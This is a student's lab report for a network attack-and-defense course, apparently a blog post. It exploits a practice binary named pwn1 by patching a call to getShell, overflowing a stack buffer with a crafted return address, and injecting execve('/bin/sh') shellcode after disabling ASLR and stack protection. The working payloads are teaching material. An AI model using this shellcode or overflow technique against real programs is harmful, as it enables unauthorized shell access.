20242825 2024-2025-2 《网络攻防实践》第九周作业

@

一. 实验内容

1.1 实验内容概述

1.实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

2.实践内容

实践内容有以下三个:
① 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
② 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
③ 注入一个自己制作的shellcode并运行这段shellcode。

3.实验要求

① 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码;
② 掌握反汇编与十六进制编程器;
③ 能正确修改机器指令改变程序执行流程;
④ 能正确构造payload进行bof攻击。

1.2 实验相关知识概述

1. 缓冲区溢出(Buffer Overflow)

缓冲区溢出是一种常见的安全漏洞,当程序尝试将数据写入超出其分配内存空间的区域时发生。攻击者可以利用这种漏洞来覆盖内存中的控制结构,如返回地址,从而改变程序的执行流程。

2. 缓冲区溢出(BoF)攻击

① 原理:程序向缓冲区写入数据时,超出其预先分配的空间,覆盖相邻内存区域数据,若覆盖到函数返回地址等关键信息,程序返回时会跳转到错误地址执行,导致程序崩溃或被攻击者利用执行恶意代码。

② 构造 payload:Payload 通常由填充数据(如 NOP 序列)、恶意代码(如 Shellcode )和用于覆盖返回地址的目标地址组成。通过精心构造 payload,利用 foo 函数的缓冲区溢出漏洞,覆盖返回地址为 getShell 函数地址或自定义 Shellcode 地址,实现触发 getShell 函数或执行自定义 Shellcode 的目的。

3. Shellcode:

Shellcode是一段恶意代码,通常在缓冲区溢出攻击中使用,目的是在目标系统上执行攻击者的代码。Shellcode需要为特定的处理器架构编写,并且要尽可能地小,以适应可能的内存限制。

4. 反汇编与十六进制编程器

① 反汇编:通过反汇编工具(如 GDB、IDA Pro 等)将机器语言转换为汇编语言,能帮助理解可执行文件内部结构、函数调用逻辑和指令序列,是分析程序漏洞和理解程序运行机制的重要手段。

② 十六进制编程器:如 Hex Fiend、Bless 等工具,可直接查看和编辑文件的十六进制数据。在实验中用于手工修改可执行文件的机器指令,从而改变程序执行流程。

二. 实验过程

2.1 实践任务一

2.1.1 实验要求

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2.1.2 实验过程展示

在本次实验中需要用到实验环境为kali虚拟机。

实验环境重装

由于在前面实验中kali虚拟机出现一些问题,所以这里卸载重装一下。

详细安装过程便不做过多讲解,详情可见实验报告一。
在这里插入图片描述
在这里插入图片描述
重新进行配置:
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
重装完成!!!
在这里插入图片描述

继续实验

首先,在学习通下载本次实验所需的文件资料pwn1:
在这里插入图片描述
解压后直接拖入kali虚拟机桌面界面:
在这里插入图片描述

通过查阅相关资料,修改kali主机的名称为自己的学号+名字缩写20242825bhy 。
在这里插入图片描述
通过使用以下命令修改虚拟机名称,修改完成后重新打开终端:

sudo su //打开root终端

hostname //查询终端名字

hostname bhy //更改终端名称
hostname //再次查询验证是否更改

这里需要注意的是更改主机名需要打开root终端进行操作!
在这里插入图片描述
重启虚拟机终端查看,发现更改成功:
在这里插入图片描述

查看kali桌面从学习通下载的pwn1文件,并使用以下命令修改pwn1文件名,使得包含自己学号+名字缩写:

ls //查询

cd Desktop //跳转到桌面文件

ls //查询

mv pwn1 pwn20242825bhy //更改名称

ls //查看文件验证是否修改成功

在这里插入图片描述
在这里插入图片描述

使用以下命令对pwn文件进行反编译,并利用管道进行分页显示:

objdump -d pwn20242825bhy | more

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
按住回车键,可以往下翻页并继续查看反编译内容。
在这里插入图片描述
可以看到main主函数。
在这里插入图片描述
进行分析:
分析可得出main函数调用了call foo函数。在读取foo函数的内容会发现,其只会简单回显任何用户输入的字符串。
而本次实验要求是修改可执行文件,改变程序执行流程,直接跳转到getShell函数。所以这里就需要修改主函数,将主函数main的call foo函数删除,并修改为call getShell。因此,需要将call 8048491中的地址8048491修改为getShell的地址。

在这里插入图片描述
分析call部分,其代码如下所示:

80484b5 e8 d7 ff ff ff call 8048491 foo

80484b5是当前指针所指地址,e8是call指令的操作码,d7 ff ff ff 就是偏移量,代表目的地址到当前指令指针的下一地址的相对偏移量(即下一条指令的地址,相当于当前指令地址+4)。

综上所述,可得出计算公式为:

目的地址 - 当前地址+4(即下一指令地址)= 偏移量

计算过程:
8048491 - 80484ba = 偏移量 = -41。(结果为-41,故采用补码表示:0xffffffd7)

在计算机组成原理中我们曾学习过,计算机的数据存储方式为高右低左(即高位放低地址(右边),低位放高地址(左边)),因此上述结果在计算机中存储为:0xd7ffffff

若要调用getShell,根据公式计算可得:
0804847d(getShell函数首地址)- 80484ba = -61 = 0xffffff3c
计算机存储为0xc3ffffff

以上原理分析完毕,下面进行修改(将call指令的目标地址由d7ffffff变为c3ffffff即可):

使用以下命令打开pwn文件:

gedit pwn20242825bhy
or
vi pwn20242825bhy

在这里插入图片描述
在这里插入图片描述
发现全是乱码:
在这里插入图片描述
查询资料发现这里需要修改进制,需使用到十六进制dump工具xxd。
使用以下命令将其转换为16进制模式:

:%!xxd

在这里插入图片描述
在这里插入图片描述

使用以下命令查找要修改的内容:

/e8 d7

在这里插入图片描述
将d7修改为c3:
在这里插入图片描述
使用一下命令转换16进制为原格式,保存退出:

ESC
:%!xxd -r
:wq

在这里插入图片描述
在这里插入图片描述
保存退出:
在这里插入图片描述
再次使用以下命令进行反汇编:

objdump -d pwn20242825bhy | more

在这里插入图片描述
重复前面操作找到main主函数:
在这里插入图片描述
发现main函数的call指令正确的调用getShell:

在这里插入图片描述
运行下改后的代码,会得到shell提示符:
在这里插入图片描述
成功获取shell,即成功调用了getShell函数!
实验成功!!!

2.2 实践任务二

2.2.1 实验要求

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

2.2.2 实验过程展示

重新上传一个pwn文件:
在这里插入图片描述
重新查看以下foo的反汇编代码,在上述实验中已经看过,详情见2.1.2中第二小节:
在这里插入图片描述
对代码进行分析:
foo只调用了gets和puts两个函数,即foo函数只读取shell当中进行的输入,并进行输出。由缓冲区溢出原理可知,当输入的字符串超出了foo函数的缓冲区容量,就会发生缓冲区溢出的情况,同时还需要确保最后4个字节为getShell的地址 0x0804847d。所以只需将foo函数的栈中的return地址修改为getShell的地址,就能达到实现获取shell的效果,实现缓冲区溢出(0x0804847d在指令中应该写为\x7d\x84\x04\x08)。

分析可知,foo函数总共有0x38个字节作为存储范围,其中,有0x1c,即总共28字节供应gets使用。所以只要gets得到的字符串为28+4=32字节时就会发生缓冲区溢出,即gets的内容将覆盖寄存器,且返回地址变为getshell函数的地址。

以上原理分析完毕,下面进行修改:

使用以下命令将一段较长的字符串输入并定向和存储到命名为intput20242825的文件中。

 perl -e 'print "bbbbbbhhhhhhyyyyyybbbbhhhhyyyy20\x7d\x84\x04\x08"' > input20242825

在这里插入图片描述
使用以下命令进行input20242825文件内容的查看:

xxd input20242825

在这里插入图片描述
将重新上传的pwn文件命名为2pwn20242825bhy:

ls
mv pwn1 2pwn20242825bhy //修改名称
ls //查看是否更改成功

在这里插入图片描述
使用以下命令,通过管道符“|”,将input20242825的内容作为pwn的输入,从而达到缓冲区溢出的效果,进而获取shell:

(cat input20242825;cat) | ./2pwn20242825bhy

在这里插入图片描述
在这里插入图片描述
缓冲区溢出成功!
实验成功!!!

2.3 实践任务三

2.3.1 实验要求

注入一个自己制作的shellcode并运行这段shellcode。

2.3.2 实验过程展示

简单而言就是自己制作shellcode进行实验,通过分析前两个实验:

实验一是直接修改pwn,让其调用getshell从而达到获取shell的效果;
实验二是利用缓冲区溢出的原理,让foo函数的缓冲区爆炸,且最后4个字节是getshell函数的地址,目的就是将EIP覆盖为getshell地址,从而达到直接获取shell的效果;
而对于本实验,需要自己编写一段代码进行shellcode,从而获取shell。

查阅资料后得知,本次实验需要先安装辅助工具execstack。
使用以下命令进行安装:

sudo apt-get update

sudo apt-get upgrade

sudo apt install execstack

出现问题1

发现更新下载失败:
在这里插入图片描述
查询资料后分析或许是DNS服务器缘故:
在这里插入图片描述

解决问题1

打开nano编辑器:
在这里插入图片描述
按要求添加DNS:
在这里插入图片描述
按 Ctrl + O 保存,直接按回车键确认即可完成保存操作 ,再按Ctrl + X 退出 。
之后再次尝试 sudo apt - get update 命令 ,发现成功。
在这里插入图片描述
在这里插入图片描述
但是在后续下载中还是出现联网问题!

继续实验

最后决定,直接在网上下载工具包进行解压,实现手动安装。

官网链接为:

http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb

在这里插入图片描述
将文件直接拖入kali虚拟机桌面:
在这里插入图片描述
使用以下命令手动解压:

sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb

在这里插入图片描述

出现问题2

发现解压时候出错,查询相关资料:
在这里插入图片描述
发现是前面使用命令安装进程占用虚拟机资源:

在这里插入图片描述

解决问题2

查询资料后得知使用kill命令结束进程即可:
在这里插入图片描述
结束进程后重新解压:
在这里插入图片描述
解压成功:
在这里插入图片描述

继续实验

使用以下命令,利用execstack工具包将pwn文件的堆栈设置为可执行状态:

sudo execstack -s ./2pwn20242825bhy //设置为可执行状态
sudo execstack -q ./2pwn20242825bhy //检查是否设置成功

在这里插入图片描述
使用以下命令关闭地址随机化:

sudo echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //检查是否关闭地址随机化,输出0成功关闭;为1则仍然是打开状态

出现问题3

这里又出现问题,未能成功关闭地址随机化:
在这里插入图片描述
查询发现命令有误:

在这里插入图片描述

解决问题3

sudo sh -c echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //检查是否关闭地址随机化,输出0成功关闭;为1则仍然是打开状态

在这里插入图片描述
关闭成功!!!

继续实验

使用以下命令进行构造shellcode的输入,并将其放入命名为input_shellcode的文件中:

perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

在这里插入图片描述
使用以下命令将input_shellcode的内容作为2pwn20242825bhy的输入:

(cat input_shellcode; cat) | ./2pwn20242825bhy

在这里插入图片描述
再打开一个新终端,输入以下命令,查看2pwn20242825bhy文件的进程以及进程号:

ps -ef | grep 2pwn20242825bhy

由于在实验1中更改名称时使用的是暂时设置的命令,所以此处新终端中未更改,属于正常现象
再次更改一遍即可:
在这里插入图片描述
在这里插入图片描述
可以看到进程号分别为63468和63758,但是63468才是pwn文件的进程号。
在这里插入图片描述
之后再在这个新终端中使用以下命令进行gdb调试,获取foo函数中returnaddress的位置:

gdb 2pwn20242825bhy

在这里插入图片描述

出现问题4

这里又出现问题,发现下载不了gdb插件:
在这里插入图片描述
查询资料后发现或许又是联网问题:
在这里插入图片描述

解决问题4

再次编辑nano文件:
在这里插入图片描述
加入DNS域名:
在这里插入图片描述
还是不行:
请添加图片描述
再次查询,可能是进程占用问题:
在这里插入图片描述
在这里插入图片描述
还是联网失败!

再次查询资料:
在这里插入图片描述
在这里插入图片描述
再次编辑nano文件:
在这里插入图片描述
更改为:
在这里插入图片描述
再次尝试:
在这里插入图片描述
发现还是不行!

最后不得不使用同学电脑完成后续实验!!!

继续实验

前面步骤同上述实验一致,这里就不做过多解释了,详情可见2.3.2小节。

更改名称完毕:
在这里插入图片描述
重新进入客户端:
在这里插入图片描述

安装execstack。

还是采用上述实验手动安装的方法,先自行下载安装包之后在虚拟机中解压:
在这里插入图片描述
在这里插入图片描述
下载完成后,使用以下命令手动解压

sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb

在这里插入图片描述

使用一下命令给pwn文件改名:

ls //查询
cd Desktop //跳转到桌面文件
ls //查询
mv pwn1 2pwn20242825bhy //更改名称
ls //查看文件验证是否修改成功

在这里插入图片描述使用以下命令,利用execstack工具包将pwn文件的堆栈设置为可执行状态:

sudo execstack -s ./2pwn20242825bhy
sudo execstack -q ./2pwn20242825bhy

在这里插入图片描述
使用以下命令,关闭地址随机化:

sudo sh -c ‘echo "0" > /proc/sys/kernel/randomize_va_space’
more /proc/sys/kernel/randomize_va_space

在这里插入图片描述
使用以下命令进行shellcode的输入,并将其放入命名为input_shellcode的文件中:

perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

使用以下命令将input_shellcode的内容作为2pwn20242825bhy的输入:

(cat input_shellcode; cat) | ./2pwn20242825bhy

在这里插入图片描述
再打开一个新终端,使用以下命令查看2pwn20242825bhy文件的进程以及进程号:

ps -ef | grep 2pwn20242825bhy

在这里插入图片描述

可以看到,进程号分别为15797和16664,但是15797才是pwn文件的进程号。

使用以下命令再在这个新终端中进行gdb调试,来获取foo函数中returnaddress的位置:

gdb 2pwn20242825bhy

出现问题,这里gdb下载不来,还是联网问题,换成桥接模式即可解决!
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
出现问题:
在这里插入图片描述
重新gdb调试:
在这里插入图片描述
还是没有出现接口:
在这里插入图片描述

再次运行cat命令并进行gdb调试:
在这里插入图片描述
在这里插入图片描述
成功出现:
在这里插入图片描述
在这里插入图片描述
使用以下命令,输入刚刚查找的进程号:

attach 15797

使用以下命令,反编译foo函数并进行分析:

disassemble foo

在这里插入图片描述
可以看到,ret的地址为0x080484ae:

在这里插入图片描述
在这里设置断点进行分析:

break *0x080484ae

在这里插入图片描述
使用以下命令进行调试:

注意,这里在新终端输入c,继续运行后,在老终端记得按一下enter键,否则新终端的continue将一直进行。

c

info r esp

x/16x 0xffffd38c

一不小心退出了,重新调试:
忘记在老终端记得按一下enter键,新终端的continue一直进行
在这里插入图片描述
使用以下命令:

attach 25962
disassemble foo
break *0x080484ae
c

info r esp

x/16x 0xffffcf2c

在这里插入图片描述
栈顶指针地址再加4字节:
在这里插入图片描述
在这里插入图片描述
这就是最终的payload:
在这里插入图片描述
结束gdb调试:
在这里插入图片描述
使用以下命令,从而进行shellcode的注入,最终获取shell。
其中,曾经用来占位的0x04030201换成上述计算出来的位置0xffffcf2c,且用机器存储的方式(低地址放高位数据,高地址放地位数据):

perl -e 'print "A" x 32;print "\x2c\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode

(cat input_shellcode; cat) | ./2pwn20242825bhy

在这里插入图片描述
可以看到,成功获取了shell,shellcode实现成功!

2.3.3 继续解决问题4

通过询问同学、查阅资料后发现,只要将虚拟机网络适配器调节为桥接模式(并点击复制到物理网络上),点击保存后便可完成gdb插件等下载!!!

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
下载成功!!!

三. 学习中遇到的问题及解决

在这次实验中,主要问题有以下几点:

  • 问题1:execstack程序文件下载不成功。

  • 解决方案:查询资料发现是DNS服务器缘故。详情可见2.3.2中第2小节。

  • 问题2:execstack文件无法解压。

  • 解决方案:查询资料后发现是前面使用命令安装进程占用虚拟机资源,使用kill命令结束进程即可成功。详情可见2.3.2中第4小节。

  • 问题3:未能成功关闭地址随机化

  • 解决方案:查询资料后发现是前面使用命令出错,更改命令即可成功。详情可见2.3.2中第7小节。

  • 问题4:gdb插件下载不成功

  • 解决方案:查询资料后初步怀疑还是DNS域名问题,更改后还是不行,最后更改为桥接模式即可解决。详情可见2.3.3小节。

四.学习感悟、思考等

在本次实验,与前面实验不同之处在于此次实验实现了三种能获取shell的方式。
实验期间,我深入了解了什么是缓冲区溢出、反汇编以及十六进制编程器等知识,并知晓其之间的区别和联系,对反编译并修改可执行文件进行了掌握。更深入了解gdb调试以及如何正确构造payload进行攻击,让我对网络安全的学习更加深入。同时,此次实验遇到的问题是真多,解决这些问题大大提高了我的纠错水平,拓展了我在网络攻防技术领域的知识储备,强化了相关知识要点,为后续开展网络攻防实验筑牢根基。

参考资料

https://blog.csdn.net/weixin_55819433/article/details/146334695

https://blog.csdn.net/weixin_55819433/article/details/146058856?spm=1001.2014.3001.5502

posted @ 2025-04-24 11:20  ShirlyW  阅读(85)  评论(0)    收藏  举报